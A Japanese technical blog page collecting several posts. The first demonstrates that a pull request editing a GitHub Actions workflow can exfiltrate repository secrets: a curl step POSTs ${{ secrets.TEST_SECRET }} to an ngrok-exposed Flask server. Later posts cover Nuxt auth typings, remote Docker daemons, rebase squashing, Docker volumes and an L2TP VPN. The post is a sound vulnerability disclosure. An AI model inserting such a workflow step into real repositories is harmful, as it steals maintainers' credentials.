虚無ありき

うるせーーーしらねーーー

GitHub Actions + PullRequest を使って、第三者が GitHub Secrets を取得できる脆弱性

イデアとしては、

blog.utgw.net

この記事で何を検証したいかというと、

  • 三者が Repository 内の GitHub Actions を修正した PullRequest を作成したら、任意のコードを実行できる。
  • Repository 管理者は、GitHub Secrets を使って、AWS のクレデンシャルなどを ${{ secrets.AWS_SECRET_ACCESS_KEY }} として、コードに含まれないようにしている。
  • curl -X POST http://some_url -F "secret=${{ secrets.AWS_SECRET_ACCESS_KEY }}" の様なコードを潜り込ませたら、secrets を取得できるのではないか?

結果として、

取得できた。

検証

下準備

まず、空の Repository を作る。

空repository
空repository

[Repository] - [Settings] - [Actions secrets] から適当な GitHub Secrets を設定する。

適当な GitHub Secrets
適当な GitHub Secrets

echo を使ってみる

ここから、まず、echo を使って、GitHub Secrets が見えないか検証してみる。

適当に clone して、echo を使った GitHub Actions を追加して、push する。

$ ghq get git@github.com:suecharo/github_secret_test.git
$ cd git/github.com/suecharo/github_secret_test
$ pwd
/Users/suecharo/git/github.com/suecharo/github_secret_test
$ mkdir -p .github/workflows
$ touch .github/workflows/echo_secret.yml

.github/workflows/echo_secret.yml

name: echo_secret
on: [push, pull_request]
jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - name: Echo secret
        run: |
          echo "${{ secrets.TEST_SECRET }}"
$ git add .
$ git commit -m "Add echo secret"
[master (root-commit) 04f8c48] Add echo secret
1 file changed, 9 insertions(+)
create mode 100644 .github/echo_secret/workflow.yml
$ git push
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (5/5), 432 bytes | 432.00 KiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
To ssh://github.com/suecharo/github_secret_test.git

- [new branch] master -> master

この状態で、GitHub Actions を見に行くと、

echo_test
Echo を使った Test

流石に *** として、見えないようになっている。

curl を使ってみる

次に、curl を使って外に POST して、GitHub Secrets が見えないか検証してみる。

適当に Flask サーバを立てて、ngrok を使って、グローバルに露出させる。

app.py

# coding: utf-8
from flask import Flask, request, jsonify

app = Flask(__name__)


@app.route("/test", methods=["POST"])
def post_test_secret():
    print(request.form["secret"])
    return jsonify({
        "status": "OK",
        "secret": request.form["secret"]
    })


if __name__ == "__main__":
    app.run()
$ python3 app.py
python3 app.py 
 * Serving Flask app "app" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

$ ngrok http 5000
ngrok by @inconshreveable

Session Status                online
Session Expires               1 hour, 33 minutes
Version                       2.3.35
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://3f08dbe32e1d.ngrok.io -> http://localhost:5000
Forwarding                    https://3f08dbe32e1d.ngrok.io -> http://localhost:5000

Connections                   ttl     opn     rt1     rt5     p50     p90
                              3       0       0.00    0.00    0.01    0.01

この状態で、curl を使って、疎通ができるか確認する。

$ curl http://3f08dbe32e1d.ngrok.io/test -F "secret=test_secret"
{"secret":"test_secret","status":"OK"}

出来た。

次に、Repository に対して、下の GitHub Workflow を追加した PullRequest を作成する。

curl_securet.yml

name: curl secret
on: [push, pull_request]
jobs:
  echo:
    runs-on: ubuntu-latest
    steps:
      - name: Curl secret
        run: |
          curl http://3f08dbe32e1d.ngrok.io/test -F "secret=${{ secrets.TEST_SECRET }}"

その後、PullRequest の GitHub Actions を確認すると、

PullRequest Actions
PullRequest Actions

動いてる。

GitHub Actions curl
GitHub Actions curl

GitHub Actions のページ上では、*** として request params も response もマスキングされているが、

Local Flask Server
Local Flask Server

Local に立てた Flask Server には、GitHub Secrets が送られてきている。

結論

  • GitHub Actions + PullRequest はすごく便利であるが、第三者が任意のコードを実行できる
  • GitHub Secrets に AWS クレデンシャルなどを置いていた場合、奪われる可能性がある
  • GitHub Actions において、ホワイトリスト方式で実行できるユーザを制限する Option が必要なのではないか?

Typescript - Nuxt.js Auth module における型エラーの修正

何が起こったか

Nuxt.js + Typescript 環境で、Nuxt.js - Auth Module を使おうとしたら、怒られた。

 ERROR  ERROR in /app/src/pages/index.vue(55,12):                                           nuxt:typescript 10:27:56
55:12 Property '$auth' does not exist on type 'CombinedVueInstance<Vue, unknown, { loginWithGitHub(): void; }, unknown, Readonly<Record<never, any>>>'.
    53 |   methods: {
    54 |     loginWithGitHub() {
  > 55 |       this.$auth.loginWith('github')
       |            ^
    56 |     }
    57 |   }
    58 | })

何をしたか

型定義ファイルが足らないのかなと思い、追加した。

$ yarn add -D @types/nuxtjs__auth

また、tsconfig.json に追記。

{
  "compilerOptions": {
    ...
    "types": [
      "@types/nuxtjs__auth"
    ]
  },
  ...
}

で?

error が消えなかった。

なので、npm - @types/nuxtjs__auth の Document を見に行くと、下記の記述があった。

Dependencies: @types/vue

最終的にどうしたか

@types/vue を追加した。

$ yarn add -D @types/vue

tsconfig.json への追記はなし。

-> なぜなら、@types/vue は、deprecated で必要なくなっているから。npm - @types/vue

-> でも、@types/nuxtjs__auth を使うためには、明示的に入れないといけなかったみたい。

結論

Typescript 何もわからん。

Remote Docker Daemon + VSCode Remote Container

tl;dr

  • socket とか tcp port で Remote で docker daemon を叩く際の諸々を実際にやってみる
  • Remote Server に対して、VSCode Remote Container をしたかったから、した
    • Host -> Remote Server -> Container

Environment

  • Host
  • Remote
    • Ubuntu 16.04.5 LTS
    • Docker 19.03.5

Remote Docker Daemon

Docker Daemon は起動時に -H Option を指定することで、好きな Unix Socket や TCP Port で listen することが出来る

Example:

# default
$ docker daemon -H /var/run/docker.sock &

# TCP で待ち受ける
$ docker daemon -H 0.0.0.0:5555 &
$ docker daemon -H 127.0.0.1:5555 &

# 両方で待ち受けることも出来る
$ docker daemon -H /var/run/docker.sock -H 127.0.0.1:5555 &

ちなみに Ubuntu 16.04 の Default は以下の様になっている

$ systemctl status docker
● docker.service - Docker Application Container Engine
   Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2020-01-31 10:51:01 JST; 2 weeks 3 days ago
     Docs: https://docs.docker.com
 Main PID: 1054 (dockerd)
    Tasks: 20
   Memory: 1.2G
      CPU: 30min 52.756s
   CGroup: /system.slice/docker.service
           └─1054 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

これに対して Docker Client においても、-H Option でどの Docker Daemon に接続するか指定することが出来る

$ docker -H /var/run/docker.sock --version
$ docker -H tcp://127.0.0.1:5555 --version

そのため、TCP Port を外部に露出したり ssh PortForward を使うことで、Remote Server の Docker Daemon に Local から接続することが出来る

$ ssh -NL localhost:5555:/var/run/docker.sock user@host &
$ docker -H localhost:5555 --version
Docker version 19.03.5, build 633a0ea

VSCode Remote Container

Remote の Docker Daemon を触れる状態で、VSCode settings.json にて DockerHost を指定する

$ ssh -NL localhost:5555:/var/run/docker.sock user@host &

[Command] + P でコマンドパレットを起動し、settings と打ち込んで settings.json を開く

"docker.host": "tcp://localhost:5555" などと追記し、VSCode を再起動する

f:id:suecharo:20200217175538p:plain
Remote Container Settings

出来た。

Git Rebase -i を一気にやる

tl;dr;

  • リポジトリ自体が 1GB を超えてきて、clone に時間がかかるようになってきた
  • まとめたいが、Contributor はなるべくそのままにしたい
  • git rebase -ipick -> squash 作業がとてもきつい
    • なるべく、Contributor 単位でまとめたい

実作業

コミットログを Contributor 付きで Dump する

$ git log --pretty=format:"%h %an : %s" > ~/tmp/commit.log
$ head ~/tmp/commit.log
7b7c295 Hirotaka Suetake : Merge pull request #36 from pitagora-network/feature/license
52b4763 suecharo : Update Apache2.0 license using raw text
2c11e0d suecharo : Add LICENSE
6341c48 Tazro Inutano Ohta : Merge pull request #35 from pitagora-network/animal-genome-assembly-test
4d3c63d Tazro Inutano Ohta : Merge pull request #31 from tom-tan/feature/fix-disease-genome
a25f049 Tazro Inutano Ohta : animal genome assembly test passing
5f04608 Tazro Inutano Ohta : Merge pull request #34 from pitagora-network/fix-readme
1ec5627 Tazro Inutano Ohta : fix typo and wrong github accounts, add CWL intro and troubleshooting
6ed7c50 Tazro Inutano Ohta : Merge pull request #33 from pitagora-network/update-readme
719434f Tazro Inutano Ohta : update test status

最初の commit id を取る

$ tail -n 1 ~/tmp/commit.log
5400760 suecharo : Initial commit

`git rebase -i <first_commit_id> で rebase shell を立ち上げる

rebase shell 立ち上げたまま、中身を rebase.log として保存する

$ head ~/tmp/rebase.log
pick c76d3ff Add CWLs for the tools used in disease-genome
pick 65558cd Rename tool/curl to tool/wget
pick d1ce99c Imelement tool/wget
pick bfcc2e2 Add test for wget
pick 52215c3 Rename output object of wget from `output` to `downloaded`
pick b47bf00 Implement tool/tar
pick 6ae2c50 Minor fix for tar
pick 530f806 Remove {tar,wget}.sh
pick 02ba06c Implement tool/cat
pick bf115d2 Implement tool/gunzip

自作の Python スクリプトで pick の部分を squash に書き換える

# coding: utf-8
from pathlib import Path


def main():
    rebase_log = Path("~/tmp/rebase.log")
    commit_log = Path("~/tmp/commit.log")
    with rebase_log.open(mode="r") as f_r, commit_log.open(mode="r") as f_c:
        rebase = []     # [command, commit_id, commit_message]
        for row in f_r.read().splitlines():
            if row == "" or row.startswith("#"):
                continue
            ele = row.split(" ")
            l_row = [ele[0], ele[1], " ".join(ele[2:])]
            rebase.append(l_row)

        commit = dict()     # commit_id: commiter_name
        for row in f_c.read().splitlines():
            if row == "":
                continue
            ele = row.split(":")[0].strip().split(" ")
            commit[ele[0]] = " ".join(ele[1:])

    now_commiter = None
    for i in range(len(rebase)):
        commit_id = rebase[i][1]
        commiter = commit.get(commit_id, None)
        if now_commiter is None:
            rebase[i][0] = "pick"
        else:
            if commiter is None:
                rebase[i][0] = "pick"
            else:
                if now_commiter == commiter:
                    rebase[i][0] = "squash"
                else:
                    rebase[i][0] = "pick"
        now_commiter = commiter

    new_rebase_log = Path("~/tmp/new_rebase.log")
    with new_rebase_log.open(mode="w") as f:
        f.write("\n".join([" ".join(row) for row in rebase]))


if __name__ == "__main__":
    main()
$ python3 rebase.py
$ head ~/tmp/new_rebase.log
pick c76d3ff Add CWLs for the tools used in disease-genome
squash 65558cd Rename tool/curl to tool/wget
squash d1ce99c Imelement tool/wget
squash bfcc2e2 Add test for wget
squash 52215c3 Rename output object of wget from `output` to `downloaded`
squash b47bf00 Implement tool/tar
squash 6ae2c50 Minor fix for tar
squash 530f806 Remove {tar,wget}.sh
squash 02ba06c Implement tool/cat
squash bf115d2 Implement tool/gunzip

出力された ~/tmpnew_rebase.log を立ち上げたままの、rebase shell に貼る

rebase していく

docker run `-v` Option の挙動

tl;dr

  • -v Option をよく使うが、Permission の挙動に癖がある
  • 色々実験してみる

Environment

  • Ubuntu: 16.04
  • Docker: 18.09.1
  • docker-compose: 1.23.1
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.5 LTS
Release:    16.04
Codename:   xenial
$ docker --version
Docker version 18.09.1, build 4c52b90
$ which docker
/usr/bin/docker
$ docker-compose -v
docker-compose version 1.23.1, build b02f1306

やってみる

File が存在しない場合

$ ls -l
$ docker run -it --rm \
    -v test_file.txt:$PWD/test_file.txt \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 06:49 test_file.txt
# exit

$ ls -l

コンテナ内では Dir が mount されており、Permission は Root User。

Host に戻ると、存在しない。

Docker volume を確認すると named volume が生成されている。

$ docker volume ls
DRIVER              VOLUME NAME
local               test_file.txt

絶対パスで実行してみると、

$ ls -l
$ docker run -it --rm \
    -v $PWD/test_file.txt:$PWD/test_file.txt \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 07:19 test_file.txt
# exit

$ ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 16:19 test_file.txt

Dir が生成されて mount される。Permission は Root User。Host 側にも生成されている。

ココらへんの挙動の理由としては、GitHub - moby/issue - 4830 にまとめられてある。

There are 2 types of volumes in Docker: "bind mount" and "managed".

Bind mount volume syntax:

-v <host_abs_path>:<abs_path_mount_point> = bind mount volume. You provide absolute path of location on host system and where it should be mounted in the container. Use it when you want to share something from the host system into the container; downside is it creates a dependency of the container on the host it runs on.

Managed volume syntax:

-v <abs_path_mount_point> = unnamed managed volume. Docker will create a volume on the host system at a location owned by the docker daemon and mount it in the container at abs_path_mount_point. To find out where docker created the volume on host: docker inspect -f "{{.Mounts}}" ContainerName.

-v <name>:<abs_path_mount_point> = named managed volume. Same as previous, only instead of volume being assigned a hash, you can provide it with a meaningful name.

named managed volume の syntax とぶつかるため、host_abs_path しか想定していないらしい。

This is because of named volumes... the syntax has just gotten to overloaded and on top of that auto-creation of volumes makes it impossible to know user intent. docker service create already has a new syntax (--mount) that's a lot more precise and can catch these kinds of things early. We'll be bringing that to docker run soon.

今後、mount のために --mount という新しい syntax を追加する予定だとのこと。

File が存在する場合

$ touch test_file.txt
$ ls -l
total 0
-rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 15:55 test_file.txt
$ docker run -it --rm \
    -v test_file.txt:$PWD/test_file.txt \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 07:27 test_file.txt
# exit

$ ls -l
total 0
-rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 16:27 test_file.txt
$ docker volume ls
DRIVER              VOLUME NAME
local               test_file.txt

named volume が生成されて、コンテナ側に mount されている。

Host に戻ると、File がそのまま残っている。


絶対パスで実行してみると、

$ touch test_file.txt
$ ls -l
total 0
-rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 15:55 test_file.txt
$ docker run -it --rm \
    -v $PWD/test_file.txt:$PWD/test_file.txt \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 0
-rw-rw-r-- 1 1000 1000 0 Jul 21 06:58 test_file.txt
# exit

$ ls -l
total 0
-rw-rw-r-- 1 ubuntu ubuntu 0 Jul 21 06:58 test_file.txt

一般ユーザの Permission のまま mount されている。

Dir が存在しない場合

$ ls -l
$ docker run -it --rm \
    -v test_dir:$PWD/test_dir \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 07:31 test_dir
# exit

$ ls -l
total 0
$ docker volume ls
DRIVER              VOLUME NAME
local               test_dir

named volume が生成されて、コンテナ側に mount されている。

Host に戻ると、何も存在しない。


絶対パスで実行してみると、

$ ls -l
$ docker run -it --rm \
    -v $PWD/test_dir:$PWD/test_dir \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 07:33 test_dir
# exit

$ ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 16:33 test_dir

Dir が生成されて mount される。Permission は Root User。Host 側にも生成されている。

Dir が存在する場合

$ mkdir test_dir
$ ls -l
total 4
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir
$ docker run -it --rm \
    -v test_dir:$PWD/test_dir \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
total 4
drwxr-xr-x 2 root root 4096 Jul 21 07:37 test_dir
# touch test_dir/test_file
# exit

$ ls -l
total 4
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir
$ ls test_dir
$ docker volume ls
DRIVER              VOLUME NAME
local               test_dir

named volume が生成され mount されている。

Host 側は変更なし、


絶対パスで実行してみると、

$ mkdir test_dir
$ ls -l
total 4
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:37 test_dir
$ docker run -it --rm \
    -v $PWD/test_dir:$PWD/test_dir \
    --workdir=$PWD \
    ubuntu:18.04 bash

# ls -l
drwxrwxr-x 2 1000 1000 4096 Jul 21 07:39 test_dir
# touch test_dir/test_file
# exit

$ ls -l
total 4
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 21 16:40 test_dir
$ ls -l test_dir/
total 0
-rw-r--r-- 1 root root 0 Jul 21 16:40 test_file
$ docker volume ls
DRIVER              VOLUME NAME

Host 側の Dir がそのまま mount されている。

結果

まとめると下記の通り、

Type Exist Path Result
File 存在しない 相対 named volume が生成されて mount される
File 存在しない 絶対 Root Permission の Dir が生成されて mount される
File 存在する 相対 named volume が生成されて mount され、Host 側の File は変更なし
File 存在する 絶対 Host 側の File がそのままの Permission で mount される
Dir 存在しない 相対 named volume が生成されて mount される
Dir 存在しない 絶対 Root Permission の Dir が生成されて mount される
Dir 存在する 相対 named volume が生成されて mount され、Host 側の Dir は変更なし
Dir 存在する 絶対 Host 側の Dir がそのままの Permission で mount される
  • 相対 path で指定すると、named volume が生成されて mount される。Host 側は変更なし
  • File や Dir が存在しない場合は、Root Permission の Dir が生成されて、mount される
  • 絶対 path で指定し、File や Dir が存在する場合は、Host 側の Permission で mount される

一般ユーザでの Docker 横付け (Sibling)

tl;dr

  • 一般ユーザで Docker 横付け (Sibling) をする
    • 意外と詰まった
    • group を Host の docker group にする

Environment

  • Ubuntu: 16.04
  • Docker: 18.09.1
  • docker-compose: 1.23.1
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.5 LTS
Release:    16.04
Codename:   xenial
$ docker --version
Docker version 18.09.1, build 4c52b90
$ which docker
/usr/bin/docker
$ docker-compose -v
docker-compose version 1.23.1, build b02f1306

やってみる

まず、root user, root group で実行してみる。

$ docker run -it --rm \
    -v /usr/bin/docker:/usr/bin/docker \
    -v /var/lib/docker:/var/lib/docker \
    -v /var/run/docker.sock:/var/run/docker.sock \
    ubuntu:18.04 bash

# id
uid=0(root) gid=0(root) groups=0(root)
# docker ps
CONTAINER ID        IMAGE                             COMMAND                  CREATED              STATUS              PORTS                            NAMES
5fdc5e064a46        ubuntu:18.04                      "bash"                   About a minute ago   Up About a minute                                    cranky_proskuriakova
# docker run --rm hello-world
Hello from Docker!

コンテナの中から Host の docker を触ることができ、実行もできる。


次に、一般 user, 一般 group で実行してみる。

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),999(docker)
$ docker run -it --rm \
    -v /usr/bin/docker:/usr/bin/docker \
    -v /var/lib/docker:/var/lib/docker \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -u 1000:1000 \
    ubuntu:18.04 bash

# id
uid=1000 gid=1000 groups=1000
# docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/json: dial unix /var/run/docker.sock: connect: permission denied
# docker run --rm hello-world
docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.

怒られる。

# cat /etc/group | grep docker
# ls -l /var/run/docker.sock
srw-rw---- 1 root 999 0 Jul 21 05:32 /var/run/docker.sock

コンテナ内には docker group が存在していないが、mount された docker.sock の permission 的に、root user もしくは docker group に所属していなければならない。


次に、一般 user, Host Docker group で実行してみる。

$ cat /etc/group | grep docker
docker:x:999:ubuntu
$ docker run -it --rm \
    -v /usr/bin/docker:/usr/bin/docker \
    -v /var/lib/docker:/var/lib/docker \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -u 1000:999 \
    ubuntu:18.04 bash

# id
uid=1000 gid=999 groups=999
# docker ps
CONTAINER ID        IMAGE                             COMMAND                  CREATED             STATUS              PORTS                            NAMES
a9e458b9c54d        ubuntu:18.04                      "bash"                   23 seconds ago      Up 22 seconds                                        clever_tu
# docker run --rm hello-world
Hello from Docker!

出来た。


最後に、コンテナ内に GID=999 以外の docker group を作成し、一般 user, 一般 group で実行してみる。

$ cat << EOS > Dockerfile
> FROM ubuntu:18.04
> RUN groupadd -g 9999 docker
> EOS
$ docker build -t docker-test .
$ docker run -it --rm \
    -v /usr/bin/docker:/usr/bin/docker \
    -v /var/lib/docker:/var/lib/docker \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -u 1000:9999 \
    docker-test bash

I have no name!@9ade8817d235:/$ id
uid=1000 gid=9999(docker) groups=9999(docker)
I have no name!@9ade8817d235:/$ cat /etc/group | grep docker
docker:x:9999:
# docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/json: dial unix /var/run/docker.sock: connect: permission denied
# docker run --rm hello-world
docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.

実行できない。

# cat /etc/group | grep docker
docker:x:9999:
# ls -l /var/run/docker.sock
srw-rw---- 1 root 999 0 Jul 21 05:32 /var/run/docker.sock

mount された socket のパーミッションは Host のものが引き継がれるため、コンテナ内の docker group に所属していても実行することが出来ない。

結論として

一般ユーザでの Docker 横付け (Sibling) をしたい場合は、Host の docker group で実行する。

docker-compose でやりたい場合は、下記の通り。

version: "3"
services:
  app:
    image: ubuntu:18.04
    volumes:
      - /usr/bin/docker:/usr/bin/docker
      - /var/lib/docker:/var/lib/docker
      - /var/run/docker.sock:/var/run/docker.sock
    user: ${UID:-0}:999

Ubuntu Server 18.04 で L2TP/IPsec の VPN 接続

Environment

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.2 LTS
Release:    18.04
Codename:   bionic

IPsec, L2TP Client の Install

$ apt update
$ apt install -y strongswan xl2tpd

環境変数の設定

$ export VPN_SERVER_IP='xxx.xxx.xxx.xxx'
$ export VPN_IPSEC_PSK='xxx'
$ export VPN_USER='xxx'
$ export VPN_PASSWORD='xxx'

ike-scan でプロトコルを決定する

$ apt install -y ike-scan
$ service strongswan stop
$ service xl2tpd stop
$ ike-scan $VPN_SERVER_IP
...
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080)
...

この場合、 ike=3des-sha1-modp1024, esp=3des-sha1 である。

SA=(Enc=AES KeyLength=256 Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) などと表示が出た場合は、ike=aes-sha1-modp1024, esp=aes-sha1 である。

Configure StrongSwan

/etc/ipsec.confike, esp の部分は上で調べたプロトコルに変更する。

$ export IKE='3des-sha1-modp1024'
$ export ESP='3des-sha1'
$ cat << EOF > /etc/ipsec.conf
config setup

conn %default
  ikelifetime=60m
  keylife=20m
  rekeymargin=3m
  keyingtries=1
  keyexchange=ikev1
  authby=secret

conn myvpn
  ike=${IKE}!
  esp=${ESP}!
  keyexchange=ikev1
  auto=add
  authby=secret
  type=transport
  left=%defaultroute
  leftprotoport=17/1701
  rightprotoport=17/1701
  right=$VPN_SERVER_IP
EOF

$ cat << EOF > /etc/ipsec.secrets
: PSK "$VPN_IPSEC_PSK"
EOF

$ chmod 600 /etc/ipsec.secrets

Configure xl2tpd

$ cat << EOF > /etc/xl2tpd/xl2tpd.conf
[lac myvpn]
lns = $VPN_SERVER_IP
ppp debug = yes
pppoptfile = /etc/ppp/options.l2tpd.client
length bit = yes
EOF

$ cat << EOF > /etc/ppp/options.l2tpd.client
ipcp-accept-local
ipcp-accept-remote
refuse-eap
require-chap
noccp
noauth
mtu 1280
mru 1280
noipdefault
defaultroute
usepeerdns
connect-delay 5000
name $VPN_USER
password $VPN_PASSWORD
EOF

$ chmod 600 /etc/ppp/options.l2tpd.client
$ mkdir -p /var/run/xl2tpd
$ touch /var/run/xl2tpd/l2tp-control

起動

Service 起動

$ service strongswan start
$ service strongswan status
● strongswan.service - strongSwan IPsec IKEv1/IKEv2 daemon using ipsec.conf
   Loaded: loaded (/lib/systemd/system/strongswan.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2019-06-28 07:28:40 UTC; 3s ago
 Main PID: 32397 (starter)
    Tasks: 18 (limit: 4915)
   CGroup: /system.slice/strongswan.service
           ├─32397 /usr/lib/ipsec/starter --daemon charon --nofork
           └─32423 /usr/lib/ipsec/charon

$ service xl2tpd start
$ service xl2tpd status
● xl2tpd.service - LSB: layer 2 tunelling protocol daemon
   Loaded: loaded (/etc/init.d/xl2tpd; generated)
   Active: active (running) since Fri 2019-06-28 07:30:00 UTC; 3s ago
     Docs: man:systemd-sysv-generator(8)
  Process: 32455 ExecStop=/etc/init.d/xl2tpd stop (code=exited, status=0/SUCCESS)
  Process: 32460 ExecStart=/etc/init.d/xl2tpd start (code=exited, status=0/SUCCESS)
    Tasks: 1 (limit: 4915)
   CGroup: /system.slice/xl2tpd.service
           └─32474 /usr/sbin/xl2tpd

接続

$ ipsec up myvpn
...
connection 'myvpn' established successfully
$ echo "c myvpn" > /var/run/xl2tpd/l2tp-control
$ route add $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "`
$ route add default dev ppp0

接続できたかは以下で確認する

$ wget -qO- http://ipv4.icanhazip.com

名前解決が出来ない場合は、内部 DNS server を更新する

$ systemctl restart systemd-resolved

切断

$ route del default dev ppp0
$ route del $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "`
$ echo "d myvpn" > /var/run/xl2tpd/l2tp-control
$ ipsec down myvpn

スクリプト

$ cat << 'EOF' > start-vpn.sh
#!/bin/bash
VPN_SERVER_IP='xxx.xxx.xxx.xxx'
ipsec up myvpn
echo "c myvpn" > /var/run/xl2tpd/l2tp-control
route add $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "`
route add default dev ppp0
EOF

$ cat << 'EOF' > down-vpn.sh
#!/bin/bash
VPN_SERVER_IP='xxx.xxx.xxx.xxx'
route del default dev ppp0
route del $VPN_SERVER_IP gw `ip route | grep default | cut -f 3 -d " "`
echo "d myvpn" > /var/run/xl2tpd/l2tp-control
ipsec down myvpn
EOF

$ chmod +x start-vpn.sh
$ chmod +x down-vpn.sh